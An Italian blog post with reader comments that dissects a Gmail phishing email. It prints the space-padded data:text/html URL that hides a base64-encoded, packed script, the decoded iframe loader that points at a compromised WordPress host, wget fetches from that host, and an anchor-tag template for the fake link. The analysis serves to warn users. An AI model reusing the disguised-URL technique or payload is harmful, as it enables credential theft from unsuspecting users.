Scrivo software e aiuto le aziende a scriverne di migliore : Per lavoro

Come funziona un Google Gmail account hacking?

Ultimamente mi hanno segnalato una nuova tecnica di hacking di account Google. Tramite un'email opportunamente forgiata, viene mascherato un finto indirizzo Google, Oggi ho ricevuto anche io una di queste email, che ho analizzato per spiegarvi come fanno a rubarvi i dati d'accesso.


Come funziona un Google Gmail account hacking?
Questa nuova tecnica di phishing si basa su una prassi ormai consolidata: far recapitare alla potenziale vittima un messaggio di posta elettronica con un falso contenuto.

Nell'email, dove il mittente è solitamente un amico, viene posto un contenuto considerato sicuro, come il link ad un file su Gdrive.

In questo caso, chi riceve l'email, considerando affidabile il link, clicca sul dato, senza farsi troppe domande:

Immagine 2

In realtà l'email è finta e contiene un'immagine che punta a un falso URL, tipicamente qualcosa di molto simile a questo;


data:text/html,https://accounts.google.com/ServiceLogin?service=mail&passive=true&rm=false&continue=


La parte visibile dell'URL è però solo una parte di qualcosa di molto più lungo, perché è seguita da una fila di spazi, impiegati per mascherare il vero cattivo di questa procedura: uno script il cui scopo sarà quello di trarvi in inganno:


data:text/html,https://accounts.google.com/ServiceLogin?service=mail&passive=true&rm=false&continue                                                                                                           *script src="data:text/html;base64,ZXZhbChmdW5jdGlvbihwLGEsYyxrLGUscil7ZT1mdW5jdGlvbihjKXtyZXR1cm4oYzxhPycnOmUocGFyc2VJbnQoYy9hKSkpKygoYz1jJWEpPjM1P1N0cmluZy5mcm9tQ2hhckNvZGUoYysyOSk6Yy50b1N0cmluZygzNikpfTtpZighJycucmVwbGFjZSgvXi8sU3RyaW5nKSl7d2hpbGUoYy0tKXJbZShjKV09a1tjXXx8ZShjKTtrPVtmdW5jdGlvbihlKXtyZXR1cm4gcltlXX1dO2U9ZnVuY3Rpb24oKXtyZXR1cm4nXFx3Kyd9O2M9MX07d2hpbGUoYy0tKWlmKGtbY10pcD1wLnJlcGxhY2UobmV3IFJlZ0V4cCgnXFxiJytlKGMpKydcXGInLCdnJyksa1tjXSk7cmV0dXJuIHB9KCczLjIuOD0iOSBhIGIgYyBkIjtmeyhnKCl7aCAxPTMuMi5pKFwnMVwnKTsxLmo9XCdrL3gtNFwnOzEubD1cJ20gNFwnOzEubj1cJ1wnOzIubyhcJ3BcJylbMF0ucSgxKX0oKSl9cihlKXt9My4yLnMudD0iPDUgdT1cXCJ2Oi8vdy55LnouQS9+Qi9DLUQvNi82L1xcIiBFPVxcIkY6IDA7RzogNyU7SDo3JVxcIj48LzU+IjsnLDQ0LDQ0LCd8bGlua3xkb2N1bWVudHx3aW5kb3d8aWNvbnxpZnJhbWV8anN8MTAwfHRpdGxlfFlvdXxoYXZlfGJlZW58U2lnbmVkfG91dHx8dHJ5fGZ1bmN0aW9ufHZhcnxjcmVhdGVFbGVtZW50fHR5cGV8aW1hZ2V8cmVsfHNob3J0Y3V0fGhyZWZ8Z2V0RWxlbWVudHNCeVRhZ05hbWV8aGVhZHxhcHBlbmRDaGlsZHxjYXRjaHxib2R5fG91dGVySFRNTHxzcmN8aHR0cHwxNDN8fDk1fDMyfDU3fHJheW11c3N8d3B8aW5jbHVkZXN8c3R5bGV8Ym9yZGVyfHdpZHRofGhlaWdodCcuc3BsaXQoJ3wnKSwwLHt9KSk="**/script*


Per chi notasse che lo script non può funzionare, voglio solo avvertire che ho volutamente sostituito alcuni simboli con *, in modo da non esporre direttamente il codice malevolo.

Encoding
La prima tecnica usata per il camuffamento dello script è quella di evitare di renderne palese il codice. Per questo è stato encodato in base64.
Per fortuna è disponibile un decoder online (a questo indirizzo https://www.base64decode.org/ ) che ci permette di arrivare velocemente al sorgente originale;


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('3.2.8="9 a b c d";f{(g(){h 1=3.2.i(\'1\');1.j=\'k/x-4\';1.l=\'m 4\';1.n=\'\';2.o(\'p\')[0].q(1)}())}r(e){}3.2.s.t="<5 u=\\"v://w.y.z.A/~B/C-D/6/6/\\" E=\\"F: 0;G: 7%;H:7%\\">";',44,44,'|link|document|window|icon|iframe|js|100|title|You|have|been|Signed|out||try|function|var|createElement|type|image|rel|shortcut|href|getElementsByTagName|head|appendChild|catch|body|outerHTML|src|http|143||95|32|57|raymuss|wp|includes|style|border|width|height'.split('|'),0,{}))


Offuscamento
Quello che però otteniamo è uno script che, a sua volta è stato offuscato. Per tornare ai sorgenti originali e' necessario un decode della pagina. Fortunatamente è stato usato un offuscatore offuscatore standard e tornare indietro è un'operazione abbastanza semplice.

Anche in questo caso la rete ci viene in soccorso e possiamo usare un decoder online (disponibile a questo indirizzo http://matthewfl.com/unPacker.html) in grado di deoffuscare il valore e ottenere qualcosa di funzionante:


window.document.title="You have been Signed out";
try
    {
    (function()
        {
        var link=window.document.createElement('link');
        link.type='image/x-icon';
        link.rel='shortcut icon';
        link.href='';
        document.getElementsByTagName('head')[0].appendChild(link)
    }
    ())
}
catch(e)
    {
}
window.document.body.outerHTML="*iframe src=\"http://143.95.32.57/~raymuss/wp-includes/js/js/\" style=\"border: 0;
width: 100%;
height:100%\"**/iframe*";


L'HTML, per come è costruito, obbliga il browser di effettuare il caricamento di un iframe puntato in una cartella di una installazione wordpress, probabilmente precedentemente craccata,

wget
Proviamo allora a prendere il contenuto dell'iframe, utilizzando un wget:


wget http://143.95.32.57/~raymuss/wp-includes/js/js/


otterremo così la seguente pagina:


*!DOCTYPE html*
*html*
*head*
   *!-- HTML meta refresh URL redirection --*
   *meta http-equiv="refresh"
   content="0; url=ServiceLogin%253fservice=mail&passive=true&rm=false&continue=/"*
*/head*
*body*
*/body*
*/html*


la pagina obbliga ad un refresh con cambio di indirizzo, per puntare ad una nuova pagina html e rendere più complicato il tracciamento.

Proviamo quindi a prendere questa pagina col solito


wget http://143.95.32.57/~raymuss/wp-includes/js/js/ServiceLogin%253fservice=mail&passive=true&rm=false&continue=


e dopo alcuni rimbalzi di protocollo


wget "http://143.95.32.57/~raymuss/wp-includes/js/js/ServiceLogin%253fservice=mail&passive=true&rm=false&continue="
--22:50:26--  http://143.95.32.57/~raymuss/wp-includes/js/js/ServiceLogin%253fservice=mail&passive=true&rm=false&continue=
           => `ServiceLogin%3fservice=mail&passive=true&rm=false&continue='
Connecting to 143.95.32.57:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://143.95.32.57/~raymuss/wp-includes/js/js/ServiceLogin%253fservice=mail&passive=true&rm=false&continue=/ [following]
--22:50:27--  http://143.95.32.57/~raymuss/wp-includes/js/js/ServiceLogin%253fservice=mail&passive=true&rm=false&continue=/
           => `index.html.1'
Reusing existing connection to 143.95.32.57:80.
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: 340f4eaef3899ebec7912921896e3f73 [following]
--22:50:28--  http://143.95.32.57/~raymuss/wp-includes/js/js/ServiceLogin%253fservice=mail&passive=true&rm=false&continue=/340f4eaef3899ebec7912921896e3f73
           => `340f4eaef3899ebec7912921896e3f73'
Connecting to 143.95.32.57:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://143.95.32.57/~raymuss/wp-includes/js/js/ServiceLogin%253fservice=mail&passive=true&rm=false&continue=/340f4eaef3899ebec7912921896e3f73/ [following]
--22:50:28--  http://143.95.32.57/~raymuss/wp-includes/js/js/ServiceLogin%253fservice=mail&passive=true&rm=false&continue=/340f4eaef3899ebec7912921896e3f73/
           => `index.html.1'
Reusing existing connection to 143.95.32.57:80.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]


arriveremo finalmente all'ultimo contenuto che è effettivamente una pagina HTML, precedentemente offuscata, che visualizza un finto login, in tutto e per tutto, uguale al login proposto da Google:

Immagine 1

Ricordiamoci che tutte queste operazioni avvengono tramite un finto URL Google


data:text/html,https://accounts.google.com/ServiceLogin?service=mail&passive=true&rm=false&continue=


infondendo la massima fiducia nelle persone che credono di accedere ad una pagina di login.

Forti di questa fiducia, la pagina va a chiedere riconferma dei dati d'accesso: password, frase di controllo, eventuale cellulare di backup, per poi rimbalzare verso un contenuto coerente col link di partenza.

L'effetto finale è quello di ricevere un link a un contenuto, passare tramite una finta pagina di conferma password, e venire rimbalzati effettivamente su un Gdrive vero con contenuto coerente.
In realtà abbiamo dato le chiavi di casa a uno sconosciuto che ci ringrazierà tutta la vita :)

Conclusioni
Purtroppo le URL presenti all'interno delle email sono sempre più fonte di possibili camuffamenti, poco si può fare se non prestare costante attenzione e abituarsi a dare fiducia zero in quello che clicchiamo.



5 commenti  Aggiungi il tuo

Vedi il profilo di loryy70 Da web
loryy70
27 Gennaio 2017 - 09:03
 
Buongiorno Matteo una spiegazione veramente interessante e completa.
Volevo chiederti se la stessa cosa è fattibile da una pagina web da un link per il download, dato che purtroppo temo, per scariare un file mi ha mandato a uno spazio google che avendo io nei cookies si è tranquillamente aperto.
Cordiali saluti e buon giornata Lory
Vedi il profilo di Matteo Baccan Re: Da web
Matteo Baccan
27 Gennaio 2017 - 09:18
 
Ciao loryy70

assolutamente.

La tecnica descritta funziona quando messa all'interno di un href di un link. Quindi sia all'interno di una email, che su un sito web.

Per intenderci, se in una pagina web viene scritto:

<a href="data:text/html,https://accounts.google.com/ServiceLogin?service=mail&passive=true&rm=false&continue ......>Clicca qui</a>

Vedrai la scritta "Clicca qui" sulla pagina e mettendo il mouse sopra la scritta vedrai l'inizio dell'indirizzo

data:text/html,https://accounts.google.com/ServiceLogin?service=mail&passive=true&rm=false&continue

cliccando poi il link, la barra degli indirizzi farà comparire la stessa scritta, inducendoti all'errore.

ciao
matteo
Vedi il profilo di loryy70 fregata
loryy70
27 Gennaio 2017 - 11:02
 
purtroppo allora ci sono cascata era una quadrato con scritto google da stipida ci ho clikkato.
Grazie mille per le spiegazioni da ora starò più attenta. Ora vediamo che succederà, minimo mi rubano l'account
Buona giornata
Vedi il profilo di Matteo Baccan Re: fregata
Matteo Baccan
27 Gennaio 2017 - 11:44
 
Ciao loryy70

puoi fare 2 semplici operazioni

1) Cambia password all'account
2) Abilita la verifica in due passaggi https://www.google.com/landing/2step/

la verifica in due passaggi aumenta la sicurezza d'accesso con un secondo controllo (normalmente un sms con un codice di sblocco) ed evita che eventuali credenziali rubate possano essere utilizzate da altri

ciao
matteo
Vedi il profilo di loryy70 Re: Re: fregata
loryy70
27 Gennaio 2017 - 12:05
 
Ciao Matteo Baccan

il problema è che non ricordo che account mi ha aperto ne ho tre. Ora ho cambiato tutte le password e inserito il numero di telefono per il recupero oltre che una seconda mai non gmaill. Per ora, considerando che l'ho combinata da due giorni è tutto apposto non han toccato nulla, anche perchè c'è poco da prendere non ho su cose importanti solo qualche foto e alcuni documenti che ho in copia anche sul pc.
Grazie di tutto sei veramente molto gentile, Comunque sai pensandoci ho il dubbio che lo facciano anche con Mega mi è capitata la stessa cosa ma mi sono fermata in tempo giusto perchè mi chiedeva il login mentre google è entrato da solo.



Per commentare occorre essere un utente iscritto
Iscriviti alla newsletter
Per lavoro
Corso jQuery
CorsoAI
Corso Javascript
Corso CSS
Corso HTML
×
Ricevi gratuitamente i nostri aggiornamenti